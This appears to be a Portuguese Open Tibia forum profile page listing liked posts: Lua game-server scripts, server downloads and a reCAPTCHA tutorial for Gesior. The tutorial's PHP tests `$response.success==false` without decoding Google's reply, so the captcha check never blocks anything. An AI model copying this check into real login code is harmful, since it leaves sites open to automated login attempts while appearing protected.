Ir para conteúdo

vedovi

Membro
  • Registro em

  • Última visita

Histórico de Curtidas

  1. Gostei
    vedovi deu reputação a Dev PHP em Contentbox headline não aparece no Gesior   
    A biblioteca de geração de imagens está ativa no seu server??
    PHP-GD, confira isso.
    # apt-get install php5-gd OR
    $ sudo apt-get install php5-gd  
  2. Gostei
    vedovi deu reputação a VitorSubhi em [Sistema] Advanced Trade Points v1.0   
    Apresentação: Olá galera do Tibia King, este é meu primeiro tutorial que desenvolvo após anos apenas sugando da comunidade, chegou a hora de compartilhar um pouco de conhecimento, rsrs...
    Após ver que muitos usuários tinham interesse em um sistema de Trade de Points in-game resolvi trazer um sistema totalmente completo para vocês.
     
    Funcionamento:
    Player 1 após adquirir os Points, pode iniciar uma negociação com o Player 2 através do comando /tradepoints Player 2, Quantidade. Será aberto uma Janela de Trade com o item referente aos Points. Após ambos aceitarem a negociação será realizado a troca de Points pelo item requisitado.
    Observações:
    Necessário ter acesso às Sources de sua Distro. Testado em servidor 8.6 (The Forgotten Server 0.4). Antes que venham falar que possui sistemas parecidos, veja o diferencial (Item não aparece em nenhum inventário, e não é necessário usar/comprar qualquer item).  
    Algumas Imagens:
     
    Instalação:
    Sources > Luascript.cpp Sources > Luascript.cpp Sources > Luascript.h  
     
    Server > Data > Lib > 050-function Server > Data > Creaturescripts > Scripts >Trade_Orbs.lua Server > Data > Creaturescripts > Creaturescripts.xml Server > Data > Creaturescripts > Scripts > Login.lua Server > Data > Talkactions > Scripts > Points_Trade.lua Server > Data > Talkactions > Talkactions.xml Créditos:
    Todo o sistema foi feito completamente por mim: Vítor Subhi.
    The Forgotten Server (Pelas Sources)
    Vodkart, White Wolf, Natanael Beckman, e a todos os demais membros do TK que não lembro o nome, que contribuíram indiretamente através de seus tutoriais.
     
     
     
     
     
  3. Gostei
    vedovi deu reputação a Skyforever em Mana Rune Per Level   
    Tipo: Action.
    Testado: Não.

    @Oque Faz?.
    Bom ela faz oque não tá feito.

    @Instalando.
    Primeiro vá em / data / actions/ scripts


    nome_do_script.lua:

    function onUse(cid, item, itemEx) local exhausted = 30 -- em segundos local T = { [{10, 50}] = {min = 50, max = 200}, [{51, 70}] = {min = 200, max = 400}, [{71, 90}] = {min = 400, max = 500}, [{91, math.huge}] = {min = 500, max = 1000} } if getPlayerStorageValue(cid, 281389) - os.time() > 0 then return doPlayerSendTextMessage(cid, 26, "You are exhausted.") end for k, v in pairs(T) do if isPlayer(itemEx.uid) then if getPlayerLevel(itemEx.uid) >= k[1] and getPlayerLevel(itemEx.uid) <= k[2] then doPlayerAddMana(itemEx.uid, math.random(v.min, v.max)) doSendMagicEffect(getThingPos(itemEx.uid), 28) doSendMagicEffect(getThingPos(cid), 30) setPlayerStorageValue(cid, 281389, os.time()+exhausted) end end end return true end actions.xml <action itemid="id" event="script" value="nome_do_script"/>

    @Editando.

    local T = {
    [{10, 50}] = {min = 50, max = 200}
    [{51, 70}] = {min = 200, max = 400}
    [{71, 90}] = {min = 400, max = 500}
    [{91, math.huge}] = {min = 500, max = 1000}

    Em [{10, 50} é os leveis de 10 a 50 irá healar

    {min = 50, max = 200}

    para mudar os efeitos

    doSendMagicEffect(getThingPos(itemEx.uid), 28)
    doSendMagicEffect(getThingPos(cid), 30)

    mude os números nessas linhas

    para dar life você substitui essa linha:

    doPlayerAddMana(itemEx.uid, math.random(v.min, v.max)

    por essa:

    doCreatureAddHealth(itemEx.uid, math.random(v.min, v.max)


    pronto Runa por level instalada e funcionando.


    Créditos:
    No momento tô ligando a cobrar se alguém colocar 10 real pra min fico grato passo número por MP.
  4. Curtir
    vedovi deu reputação a Apache em EVENTO ILHAS TEMATICAS + PHP + MAPA   
    Olá pessoal como falei irei postar alguns eventos sem bugs para vocês e GRÁTIS!
    Estarei também postando uma source OTX paga para vocês.
    Chega de enrolar vamos ao evento (Particularmente gosto muito desse)
    **SÓ CONFIGUREM NO MAPA DO EVENTO O LOCAL DE SAÍDA DAS ILHAS**
    **EVENTO NÃO É DE MINHA AUTORIA MAS COMO É MEU ESTOU POSTANDO**
     
    Vídeo mostrando como funciona o evento
    obs: link para o vídeo estava localizado dentro do script
                                                                 
        
    5 bosses localizados nas ilhas temáticas
    Os jogadores deverão se unir para conseguir vencer todos os bosses das ilhas e atingir a última com o mais temido. Apenas os bravos guerreiros conseguem chegar ao final, como prêmio eles recebem a experiência dos bosses e loot.
     
     
    Vá em data/creaturescripts/scripts e crie um aquivo chamado IOE.lua e cole isso dentro
    agora na mesma pasta creaturescripts/scripts procure pela pasta login.lua e lá adicione o registro do evento
    após isso vá em data/creaturescripts abra o arquivo creaturescripts.xml e adicione a tag
     
    agora em data/globalevents/scripts crie um arquivo chamado IOE.lua e cole isso dentro
    em globalevents.xml adicione a tag 
    agora na pasta LIB crie um arquivo chamado IOE.lua e cole isso dentro
    agora na pasta data/monsters crie uma pasta chamada IOE e dentro crie 5 arquivos .xml com os seguintes nomes (irei postar o nome do monstro e em seguida o script dele.
    island death.xml
    island earth.xml
    island energy.xml
    island fire.xml
    island ice.xml
    feito isso agora na pasta data/monsters procure por monster.xml vamos registras nossos novos monsters
    agora em data/movements/scripts crie um arquivo chamado IOE.lua e cole isso dentro
    agora em movements.xml adicione a tag
    pronto pessoal o evento já está registrado em seu servidor, agora vocês configurem a seu desejo na pasta data/LIB  
    agora irei postar a query o php e o mapa 
     
    SQL QUERY PARA REGISTRAR O EVENTO EM SUA DATABASE
    PAGINA PHP EM SEU SITE (LINDA)
    AGORA O MAPA (NÃO POSTAREI SCAN, QUEM QUISER BAIXAR É SÓ BAIXAR QUEM NÃO QUISER É SÓ CRIAR UM MAPA PARA SEU EVENTO!)
     
    É ISSO AE ESPERO QUE GOSTEM DEIXEM SEU REP+  
    QUEM PRECISAR DE AJUDA PARA INSTALAR É SÓ PEDIR!
  5. Curtir
    vedovi deu reputação a Marco Oliveira em Houses.php com images   
    Download images: mega.nz
    Codigo houses.php: pastebin
  6. Obrigado
    vedovi deu reputação a Kimoszin em doPlayerSetPercentExperienceRate   
    Simples função para adicionar porcentagem a mais na exp ganha.

    \data\lib\050-functions

    function doPlayerSetPercentExperienceRate(cid, value) return doPlayerSetRate(cid, SKILL__LEVEL, getConfigValue("rateExperience") + (value / 100)) end Uma função simples, de como usar: function onUse(cid, item) storage = 1214 percent = 20 if getPlayerStorageValue(cid, storage) == -1 then doPlayerSetPercentExperienceRate(cid, percent) setPlayerStorageValue(cid, storage, 1) else doPlayerSendCancel(cid, "Você ja tem "..percent.."% de experiencia extra") end return true end

    Até
  7. Obrigado
    vedovi deu reputação a Enzo Caue em ReCAPTCHA by Google   
    Neste tutorial você vai aprender a colocar aquele captcha box no seu gesior:

     
     
    Primeiramente, você vai precisar da API e registrar o dominio, você pode fazer isso por aqui:
    https://www.google.com/recaptcha/admin

     
    Agora, vá até o seu layout.php e antes de <head> coloque isto:
    <script src='https://www.google.com/recaptcha/api.js'></script>  
    Agora vamos até o accountmagement.php e embaixo de <?php,  coloque:
    if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login']) && !$captcha) { $main_content .='<h2>Please check the reCaptcha form.</h2>'; }  
    Procure por:
    <input type="password" name="password_login" size="15" maxlength="15"> e na linha de baixo, adicione:
    <div class="g-recaptcha" data-sitekey="SUA_PUBLIC_KEY"></div>  
    PS: você tem que colocar sua public key no lugar de SUA_PUBLIC_KEY!
    PS2: você ainda pode trocar a cor adicionando data-theme="dark" nessa div. (OPCIONAL)
     
    Agora, em system/load.login.php, abaixo de <?php adicione:
    if(isset($_POST['g-recaptcha-response'])) { $captcha=$_POST['g-recaptcha-response']; }  
    Ainda em system/load.login.php, procure por:
    if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login'])) { Visitor::setAccount($_REQUEST['account_login']); Visitor::setPassword($_REQUEST['password_login']); //Visitor::login(); // this set account and password from code above as login and password to next login attempt //Visitor::loadAccount(); // this is required to force reload account and get status of user $isTryingToLogin = true; } e substitua por:
    if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login']) && $captcha) { $response=file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=SUA_PRIVATE_KEY&response=".$captcha."&remoteip=".$_SERVER['REMOTE_ADDR']); if($response.success==false) { echo '<h2>Dirty Robot!</h2>'; } else { Visitor::setAccount($_REQUEST['account_login']); Visitor::setPassword($_REQUEST['password_login']); //Visitor::login(); // this set account and password from code above as login and password to next login attempt //Visitor::loadAccount(); // this is required to force reload account and get status of user $isTryingToLogin = true; } } PS: voce deve colocar sua private key onde diz SUA_PRIVATE_KEY!
     
    Pronto, já estará funcionando o ReCAPTCHA =]
     
    KEYS:

     
     
    Créditos: Musztang
     
  8. Gostei
    vedovi deu reputação a Saymon Kopolsky em BeastXHunter v0.01 ALPHA [tfs 0.4] Download   
    Criei especialmente para comunidade OT, nunca coloquei online, não está 100% completo, ele foi feito em apenas 6 meses, portanto não reclamem do tamanho do mapa. O servidor foi planejado apenas até o level 150, eu não pretendo mais atualizar, estou sem tempo por causa de alguns projetos pessoais.
     
    Eu usei como base o servidor 8.60 do @Fir3element, por isso tem alguns links do github dele.
     
    - Downloads:
    * Distro (x32) + Dll's: https://github.com/Fir3element/binaries/raw/master/x32.rar
         OU
    * Distro (x64) + Dll's: https://github.com/Fir3element/binaries/raw/master/x64.rar
    * Datapack: https://drive.google.com/open?id=0B7ExaXOEctCbN3BYeE5GLUZxWXM
     
    - Downloads (opcional):
    * Source (só a pasta src): https://github.com/Fir3element/3777/archive/master.zip
     
    - Scans:
    * Distro (x32): https://virustotal.com/pt/file/6683a91273b848a39ac21288da9d3abde341436744d6846e35a477c8e7c8f5f7/analysis/1480675335/
    * Distro (x64): https://virustotal.com/pt/file/21028857bb1124f19e0353e7f5775c8f66afc4f87f29df9cf4ab8ca1a046b816/analysis/1480675394/
    * Datapack: https://virustotal.com/pt/file/46723ac7dd38f02be0a0987b9a10d8b1c71744b65af3e6d718339555a2fab763/analysis/1499037519/
    * Source: https://virustotal.com/pt/file/3761b48ee19f3f540d4c4a48c35c73c89a85615876307073494b1dcfed464d36/analysis/1480675473/
     
     

     

     

     

     
    Mais Imagens:
     
     
    Pessoas que contribuíram direta ou indiretamente:
     
  9. Gostei
    vedovi deu reputação a Antipush em [8.60] MEGA-WAR ENFORCED VARIOS SISTEMAS!   
    Hail Tk
    MEGA-WAR ENFORCED 8.60
     
    É Com Muito Prazer Que Venho Trazer Conteúdo Para Comunidade tibianos!
     
    SERVIDOR CONFIGURADO PARA SER RODANDO EM LINUX  ACESSE = SWEBCONECT.COM.BR  
    Oque Tem No Servidor?
    Capture The Flag BATTLEFIELD ZOMBIE  GEMAS PARA CADA VOCAÇÃO COM DEFENSE DANO MAPA VENORE CITY PRINCIPAL TODA EDITARA E VOLTADA PARA WAR NPC EART BRAINS -Troca item por coins no jogo- WAR SYSTEM CAST INSTALADO EVENTOS AUTOMATICOS ITEM EDITADOS FREE E DONATE NPC QUE TROCA EVENT COINS POR ITEMS e muito mas... Cidades
    karzadom carlin big-city venore simples war deserto PRINT
     

     

    EM FIM BAIXEM E APROVEITE! 
                                                                                         Creditos
                                                                                         Antipush 
                                                                                         Henrique
                                                                                         Jnetworks
    Servidor completo
    http://www.mediafire.com/file/7cz9sunlbxq2jib/MEGATK.zip
    Scan
    https://www.virustotal.com/pt/file/955715efdc201fb2a7bb5023e759b9089bcf30d0967281d498dbea7f25934967/analysis/1498100128/
                                         Se Procura Solução Para Seus Serviços Online Venha Já Resolver Seus Poblemas,  Otimos Preços
                              Alta Qualidade e uma Equipe Técnica Disposta a Da Suporte Acesse : swebconect.com.br

     
  10. Gostei
    vedovi deu reputação a Antipush em [MODS] Cast on/off em OTX! 8.60   
    MOD CAST OTX-TFS
    HAIL TK!
    VENHO HOJE TRAZER SOLUÇÃO DE PROBLEMAS DE MUITOS USUÁRIOS AQUI NO TK QUE NÃO CONSEGUE ATIVA O CAST COM SCRIPTS DO FÓRUM UTILIZADO PARA VERSÃO 8.60 VAMOS LA?   
    Crie um Arquivo com Nome mod_cast.xml na pasta /Mods/
    e adicione o seguinte script 
    Em /data/creaturescript/ crie um arquivo com nome castlogout.lua e adicione 
    Em Talkactions crie um arquivo com nome cast.lua e adicione
    TAG= <talkaction words="/cast;!cast" event="script" value="cast.lua"/>
    Ultima Parte crie uma conta em sua db com login 10 e senha qualquer uma. (nao crie character no login 10)
    Diga /cast , /cast on /cast off ect..
                                                                                  Rep+?
                                                                                                            creditos    
                                                                                                            Antipush
                                                                                                             Matryx           
                                
                                                                                   Procura um Excelente Serviço Para Hospeda Seu Projeto?
     
                                                                                                 
                                                                          Damos Suporte Para openTibia, pm! melhores preços do mercado!! 
  11. Gostei
    vedovi deu reputação a Vodkart em Normal [8.6] TOP 5 FRAGS no BroadCast   
    Me pediram para postar uma especie de propaganda, onde aparecia os top frags do servidor, no caso está configurado para aparecer os 5 frags mais alto.
     
    como esse script está no meu servidor faz anos, resolvi jogar para a molecada:
     
    Data/globalevents/script
     
    topfrags.lua
    function getJogadorFrags(jogador) -- essa função já existia, só modifiquei uma parte local time = os.time() local times = {today = (time - 86400), week = (time - (7 * 86400))} local contents, result = {day = {}, week = {}, month = {}}, db.getResult("SELECT `pd`.`date`, `pd`.`level`, `p`.`name` FROM `player_killers` pk LEFT JOIN `killers` k ON `pk`.`kill_id` = `k`.`id` LEFT JOIN `player_deaths` pd ON `k`.`death_id` = `pd`.`id` LEFT JOIN `players` p ON `pd`.`player_id` = `p`.`id` WHERE `pk`.`player_id` = " .. jogador .. " AND `k`.`unjustified` = 1 AND `pd`.`date` >= " .. (time - (30 * 86400)) .. " ORDER BY `pd`.`date` DESC") if(result:getID() ~= -1) then repeat local content = {date = result:getDataInt("date")} if(content.date > times.today) then table.insert(contents.day, content) elseif(content.date > times.week) then table.insert(contents.week, content) else table.insert(contents.month, content) end until not result:next() result:free() end local size = {day = table.maxn(contents.day),week = table.maxn(contents.week),month = table.maxn(contents.month)} return size.day + size.week + size.month end function onThink(interval, lastExecution) local max = 5 -- quantidade max que vai aparecer no rank local str,k, p = "TOP "..max.." Rank Frags:\n\n", 0, {} -- n mexa em nd local players = db.getResult("SELECT `id`,`name` FROM `players`") if (players:getID() ~= -1) then repeat table.insert(p, {getJogadorFrags(players:getDataInt("id")), players:getDataString("name")}) until not players:next() end table.sort(p, function(a, b) return a[1] > b[1] end) for x = 1, table.maxn(p) do k = k + 1 str = str .. "\n " .. k .. ". ".. p[x][2] .." - " .. p[x][1] .. "" if k == max then break end end doBroadcastMessage(str, 22) return true end  
     
    TAG:
    <globalevent name="TopFrags" interval="3600" event="script" value="topfrags.lua"/>  
  12. Gostei
    vedovi deu reputação a psychonaut em removido   
    deleta o tópico
  13. Gostei
    vedovi recebeu reputação de MarcosWalker em Serviço SMTP   
    Sim, desative todos seus firewalls e faça o procedimento que te falei.
     
    caso funcione faço outro poste te ajudando para funcionar com seu firewall.
    me add skype gorath29
  14. Gostei
    vedovi deu reputação a Vodkart em [MODS] - [8.6] Perfect Zombie System [Automático] [V1.0]   
    Qual dúvida ou erro poste no tópico que estarei respondendo.
     
     
    Obs: Antes que me falem besteiras, coloquei para os GM'S, CM'S E GOD'S não contarem no evento, então testem apenas com jogadores.
     
    Zombie.xml
    <?xml version="1.0" encoding="ISO-8859-1"?> <mod name="Perfect Zombie System" version="8.6" author="Vodkart" contact="tibiaking.com" enabled="yes"> <config name="zombie_config"><![CDATA[ zombie_config = { storages = {172100, 172101, 172102}, -- n edite players = {min = 2, max = 30}, -- min, max players no evento rewards = {items ={{2160,10},{2494,1}}, trophy = 5805}, timeToStartEvent = 30, -- segundos para começar o evento CheckTime = 5, -- tempo que o TP fica aberto para os jogadores adrentarem o evento teleport = {{x=147, y=55, z=7}, {x=125 , y=304, z=7}}, -- position do tp onde aparece, position para onde o jogador vai ao entrar no tp arena = {{x=110,y=297,z=7},{x=145,y=321,z=7}}, -- area positions monster_name = "Zombie Event", timeBetweenSpawns = 20, min_Level = 20 } zombie_days = { ["Monday"] = {"13:00","18:00","20:00","22:00"}, ["Tuesday"] = {"13:00","18:00","22:50","22:00"}, ["Wednesday"] = {"21:57","18:00","20:00","23:17"}, ["Thursday"] = {"13:00","18:00","20:00","22:00"}, ["Friday"] = {"13:00","18:00","21:45","22:00"}, ["Saturday"] = {"13:00","18:00","20:00","22:00"}, ["Sunday"] = {"13:00","18:00","20:00","22:00"} } function removeZombieTp() local t = getTileItemById(zombie_config.teleport[1], 1387).uid return t > 0 and doRemoveItem(t) and doSendMagicEffect(zombie_config.teleport[1], CONST_ME_POFF) end function ZerarStoragesZombie() for _, stor in pairs(zombie_config.storages) do setGlobalStorageValue(stor, 0) end end function getPlayersInZombieEvent() local t = {} for _, pid in pairs(getPlayersOnline()) do if isInRange(getPlayerPosition(pid), zombie_config.arena[1], zombie_config.arena[2]) and getPlayerAccess(pid) < 3 then t[#t+1] = pid end end return t end function getZombieRewards(cid, items) local backpack = doPlayerAddItem(cid, 1999, 1) -- backpackID for _, i_i in ipairs(items) do local item, amount = i_i[1],i_i[2] if isItemStackable(item) or amount == 1 then doAddContainerItem(backpack, item, amount) else for i = 1, amount do doAddContainerItem(backpack, item, 1) end end end end function isWalkable(pos, creature, proj, pz)-- by Nord if getTileThingByPos({x = pos.x, y = pos.y, z = pos.z, stackpos = 0}).itemid == 0 then return false end if getTopCreature(pos).uid > 0 and creature then return false end if getTileInfo(pos).protection and pz then return false, true end local n = not proj and 3 or 2 for i = 0, 255 do pos.stackpos = i local tile = getTileThingByPos(pos) if tile.itemid ~= 0 and not isCreature(tile.uid) then if hasProperty(tile.uid, n) or hasProperty(tile.uid, 7) then return false end end end return true end function HaveCreatureZombie(area, remove) for x = area[1].x - 1, area[2].x + 1 do for y = area[1].y - 1, area[2].y + 1 do local pos = {x=x, y=y, z=area[1].z} local m = getTopCreature(pos).uid if remove ~= false and m ~= 0 and isMonster(m) then doRemoveCreature(m) end end end end function spawnZombie() if #getPlayersInZombieEvent() > 1 then local pos = {x=math.random(zombie_config.arena[1].x, zombie_config.arena[2].x), y=math.random(zombie_config.arena[1].y,zombie_config.arena[2].y), z=zombie_config.arena[1].z} if not isWalkable(pos, false, false, false) then spawnZombie() else doSummonCreature(zombie_config.monster_name, pos) doSendDistanceShoot({x = pos.x - math.random(4, 6), y = pos.y - 5, z = pos.z}, pos, CONST_ANI_FIRE) addEvent(doSendMagicEffect, 150, pos, CONST_ME_HITBYFIRE) addEvent(doSendMagicEffect, 150, pos, CONST_ME_FIREAREA) doSendMagicEffect(pos, CONST_ME_MORTAREA) setGlobalStorageValue(zombie_config.storages[2], getGlobalStorageValue(zombie_config.storages[2]) <= 0 and 1 or getGlobalStorageValue(zombie_config.storages[2])+1) doBroadcastMessage("A zombie has spawned! There is currently " .. getGlobalStorageValue(zombie_config.storages[2]) .. " zombies in the zombie event!", MESSAGE_STATUS_CONSOLE_RED) addEvent(spawnZombie, zombie_config.timeBetweenSpawns *1000) end end end function CheckZombieEvent(delay) if getGlobalStorageValue(zombie_config.storages[1]) ~= (zombie_config.players.max+1) then if delay > 0 and getGlobalStorageValue(zombie_config.storages[1]) < zombie_config.players.max then doBroadcastMessage("Zombie event starting in " .. delay .. " minutes! The teleport will be closed when the event start!", MESSAGE_STATUS_WARNING) elseif delay == 0 and getGlobalStorageValue(zombie_config.storages[1]) < zombie_config.players.min then for _, cid in pairs(getPlayersInZombieEvent()) do doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) doSendMagicEffect(getPlayerPosition(cid), CONST_ME_TELEPORT) end removeZombieTp() doBroadcastMessage("The Zombie event could not start because of to few players participating.\n At least " .. zombie_config.players.min .. " players is needed!", MESSAGE_STATUS_WARNING) ZerarStoragesZombie() elseif delay == 0 and getGlobalStorageValue(zombie_config.storages[1]) >= zombie_config.players.min then removeZombieTp() doBroadcastMessage("The Zombie event is now full [" .. getGlobalStorageValue(zombie_config.storages[1]) .. " players]! The event will soon start.") for _, var in pairs(getPlayersInZombieEvent()) do doPlayerSendTextMessage(var, MESSAGE_EVENT_ADVANCE, "The first zombie will spawn in " .. zombie_config.timeToStartEvent .. " seconds! Good luck!") end addEvent(spawnZombie, zombie_config.timeToStartEvent*1000) end addEvent(CheckZombieEvent, 60000, delay-1) end end]]></config> <event type="statschange" name="ZombieStats" event="script"><![CDATA[ domodlib('zombie_config') if isPlayer(cid) and isMonster(attacker) and getCreatureName(attacker) == zombie_config.monster_name then if isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then if #getPlayersInZombieEvent() > 1 then doBroadcastMessage(getPlayerName(cid) .. " have been eated by Zombies!", MESSAGE_STATUS_CONSOLE_RED) local corpse = doCreateItem(getPlayerSex(cid) == 1 and 3058 or 6081, 1, getPlayerPosition(cid)) doItemSetAttribute(corpse, "description", "You recognize " .. getCreatureName(cid) .. ". He was killed by "..(isMonster(attacker) and "a "..string.lower(getCreatureName(attacker)) or isCreature(attacker) and getCreatureName(attacker) or "a field item")..".") doSendMagicEffect(getPlayerPosition(cid), CONST_ME_POFF) doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid)), false) doSendMagicEffect(getPlayerPosition(cid), CONST_ME_TELEPORT) if #getPlayersInZombieEvent() == 1 then local winner = getPlayersInZombieEvent()[1] doBroadcastMessage(getCreatureName(winner)..' has survived at zombie event!') local goblet = doPlayerAddItem(winner, zombie_config.rewards.trophy, 1) doItemSetAttribute(goblet, "description", "Awarded to " .. getPlayerName(winner) .. " for winning the Zombie event.") getZombieRewards(winner, zombie_config.rewards.items) doTeleportThing(winner, getTownTemplePosition(getPlayerTown(winner)), false) doSendMagicEffect(getPlayerPosition(winner), CONST_ME_TELEPORT) doBroadcastMessage(getPlayerName(winner).." won the Zombie event! Congratulations!") HaveCreatureZombie(zombie_config.arena, true) ZerarStoragesZombie() end else doBroadcastMessage("No one survived in the Zombie Event.", MESSAGE_EVENT_ADVANCE) HaveCreatureZombie(zombie_config.arena, true) ZerarStoragesZombie() end return false end end return true]]></event> <globalevent name="Zombie_Start" interval="60000" event="script"><![CDATA[ domodlib('zombie_config') function onThink(interval, lastExecution) if zombie_days[os.date("%A")] then local hrs = tostring(os.date("%X")):sub(1, 5) if isInArray(zombie_days[os.date("%A")], hrs) and getGlobalStorageValue(zombie_config.storages[3]) <= 0 then local tp = doCreateItem(1387, 1, zombie_config.teleport[1]) doItemSetAttribute(tp, "aid", 45110) CheckZombieEvent(zombie_config.CheckTime) setGlobalStorageValue(zombie_config.storages[1], 0) setGlobalStorageValue(zombie_config.storages[2], 0) HaveCreatureZombie(zombie_config.arena, true) end end return true end]]></globalevent> <event type="login" name="Zombie_Login" event="script"><![CDATA[ domodlib('zombie_config') function onLogin(cid) registerCreatureEvent(cid, "ZombieBattle") registerCreatureEvent(cid, "ZombieStats") if isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) end return true end]]></event> <event type="combat" name="ZombieBattle" event="script"><![CDATA[ domodlib('zombie_config') if isPlayer(cid) and isPlayer(target) and isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then doPlayerSendCancel(cid, "You may not attack this player.") return false end return true ]]></event> <movevent type="StepIn" actionid ="45110" event="script"><![CDATA[ domodlib('zombie_config') function onStepIn(cid, item, position, fromPosition) if not isPlayer(cid) then return true end if getPlayerAccess(cid) > 3 then return doTeleportThing(cid, zombie_config.teleport[2]) end if getPlayerLevel(cid) < zombie_config.min_Level then doTeleportThing(cid, fromPosition, true) doPlayerSendCancel(cid, "You need to be at least level " .. zombie_config.min_Level .. ".") doSendMagicEffect(getThingPos(cid), CONST_ME_MAGIC_BLUE) return true end if getGlobalStorageValue(zombie_config.storages[1]) <= zombie_config.players.max then doTeleportThing(cid, zombie_config.teleport[2]) setGlobalStorageValue(zombie_config.storages[1], getGlobalStorageValue(zombie_config.storages[1])+1) doBroadcastMessage(getPlayerName(cid) .. " entered the Zombie event! Currently " .. getGlobalStorageValue(zombie_config.storages[1]) .. " players have joined!", MESSAGE_STATUS_CONSOLE_RED) if getGlobalStorageValue(zombie_config.storages[1]) == zombie_config.players.max then setGlobalStorageValue(zombie_config.storages[1], getGlobalStorageValue(zombie_config.storages[1])+1) removeZombieTp() doBroadcastMessage("The Zombie event is now full [" .. getGlobalStorageValue(zombie_config.storages[1])-1 .. " players]! The event will soon start.") for _, var in pairs(getPlayersInZombieEvent()) do doPlayerSendTextMessage(var, MESSAGE_EVENT_ADVANCE, "The first zombie will spawn in " .. zombie_config.timeToStartEvent .. " seconds! Good luck!") end addEvent(spawnZombie, zombie_config.timeToStartEvent*1000) end end return true end]]></movevent> <talkaction words="/zombiestart;!zombiestart" access="5" event="buffer"><![CDATA[ domodlib('zombie_config') if getGlobalStorageValue(zombie_config.storages[3]) > 0 then doPlayerSendCancel(cid, "The event is already starting.") return true elseif not param or not tonumber(param) then doPlayerSendCancel(cid, "Use only numbers.") return true end local param = tonumber(param) <= 0 and 1 or tonumber(param) local tp = doCreateItem(1387, 1, zombie_config.teleport[1]) doItemSetAttribute(tp, "aid", 45110) CheckZombieEvent(tonumber(param)) ZerarStoragesZombie() setGlobalStorageValue(zombie_config.storages[3], 1) HaveCreatureZombie(zombie_config.arena, true) ]]></talkaction> <globalevent name="ZombieDebug-Start" type="start" event="buffer"><![CDATA[ domodlib('zombie_config') ZerarStoragesZombie() return true]]></globalevent> </mod>  
    OBS: Quem serve em milesegundos, mude essa parte:

     
    <globalevent name="Zombie_Start" interval="60" event="script"><![CDATA[  
     
    para
     
    <globalevent name="Zombie_Start" interval="60000" event="script"><![CDATA[  
     
     
    ----------------------------------------------------- // --------------------------------------------------
     
    o monstro você instala em data/monsters
     
    zombie event.xml
    <?xml version="1.0" encoding="UTF-8"?> <monster name="Zombie Event" nameDescription="an zombie event" race="undead" experience="280" speed="100" manacost="0"> <health now="500" max="500"/> <look type="311" corpse="9875"/> <targetchange interval="5000" chance="50"/> <strategy attack="100" defense="0"/> <flags> <flag summonable="0"/> <flag attackable="0"/> <flag hostile="1"/> <flag illusionable="0"/> <flag convinceable="0"/> <flag pushable="0"/> <flag canpushitems="1"/> <flag canpushcreatures="1"/> <flag targetdistance="1"/> <flag staticattack="90"/> <flag runonhealth="0"/> </flags> <attacks> <attack name="melee" interval="2000" min="-35000" max="-35000"/> </attacks> <defenses armor="15" defense="10"/> <immunities> <immunity paralyze="1"/> <immunity invisible="1"/> </immunities> <voices interval="5000" chance="10"> <voice sentence="You wont last long!"/> <voice sentence="Mmmmh.. braains!"/> </voices> <loot> <item id="2148" countmax="1" chance="100000"/><!-- gold coin --> </loot> </monster>  
     
    e a tag em monsters.xml
    <monster name="Zombie Event" file="zombie event.xml"/>  
     Configuração 
     
     
     
     
    Sistema
     
    zombie_config = {
        storages = {172100, 172101}, -- não edite
        players = {min = 2, max = 30}, -- número minimo e máximo para jogadores no evento
        rewards = {items ={{2160,10},{2494,1}}, trophy = 5805}, -- premiações do jogador
        timeToStartEvent = 30, -- segundos para começar o evento após dar start
        CheckTime = 5, -- tempo que o TP fica aberto para os jogadores adrentarem o evento
        teleport = {{x=145, y=50, z=7}, {x=176 , y=54, z=5}}, -- posiçãodo tp onde aparece, posição para onde o jogador vai ao entrar no tp
        arena = {{x=173,y=52,z=5},{x=179,y=56,z=6}}, -- posição começo e final da area do evento
        monster_name = "Zombie Event", -- nome do monstro que será sumonado
        timeBetweenSpawns = 20, -- a cada quantos segundos é dado o respaw time do zombie no evento
        min_Level = 20 -- level minimo para participar do evento
    }
     
     
    Dia e Horário
     

    zombie_days = {
        ["Monday"] = {"13:00","18:00","20:00","22:00"},
        ["Tuesday"] = {"13:00","18:00","20:00","22:00"},
        ["Wednesday"] = {"13:00","18:00","20:00","22:00"},
        ["Thursday"] = {"13:00","18:00","20:00","22:00"},
        ["Friday"] = {"13:00","18:00","20:00","22:00"},
        ["Saturday"] = {"13:00","18:00","20:00","22:00"},
        ["Sunday"] = {"13:00","18:00","20:00","22:00"}
    }
     
     
    ["Dia em inglês"] = {"horário do evento"}
     
     
    Configurando a área:
     

     
    zombie lua.rar
  15. Gostei
    vedovi deu reputação a joadson em OpenPrivateChannel   
    Olá, estarei disponibilzando o código para abrir o ChannelPrivate, se você usa o CastSystem seja do OTX ou do TFS 0.4, será util se for usar o Cast System para abrir ao fazer login(Irei disponibilizar o script também).
    Eu fiz esse código com base em outro da própria sourcer, funciona perfeitamente.

    Explicando um pouco sobre o AutoCast, como irei usar o CastSystem, pude notar que em muitos OT's, mesmo com CastSystem, os players não ativavam a função, então coloquei para abrir automaticamente, sendo que o player terá que usar o comando para desativar, meu intuito é fazer com que os novos jogadores venham conhecer um pouco sobre o OT mesmo antes de jogar(essa função pode ser "inutil" para alguns, mas sei que servirá para outros assim como serviu para mim.
     
    Todos códigos foram feitos por mim, caso copie, coloque os créditos.
    PS: Script AutoCast para OTX, se usa outra versão é só mudar as funções que chamam o Cast ou me envie PM que irei modificar.
     
    Vamos lá.
     
    Procure static int32_t luaL_errors(lua_State* L); e abaixo coloque
    static int32_t luaOpenPrivateChannel(lua_State* L); depois procure por lua_register(m_luaState, "doPlayerSendCancel", LuaInterface::luaDoPlayerSendCancel); e acima coloque    
    //OpenPrivateChannel(cid) lua_register(m_luaState, "openPrivateChannel", LuaInterface::luaOpenPrivateChannel);  
    Depois procure por int32_t LuaInterface::luaGetTileInfo(lua_State* L) e coloque acima
     
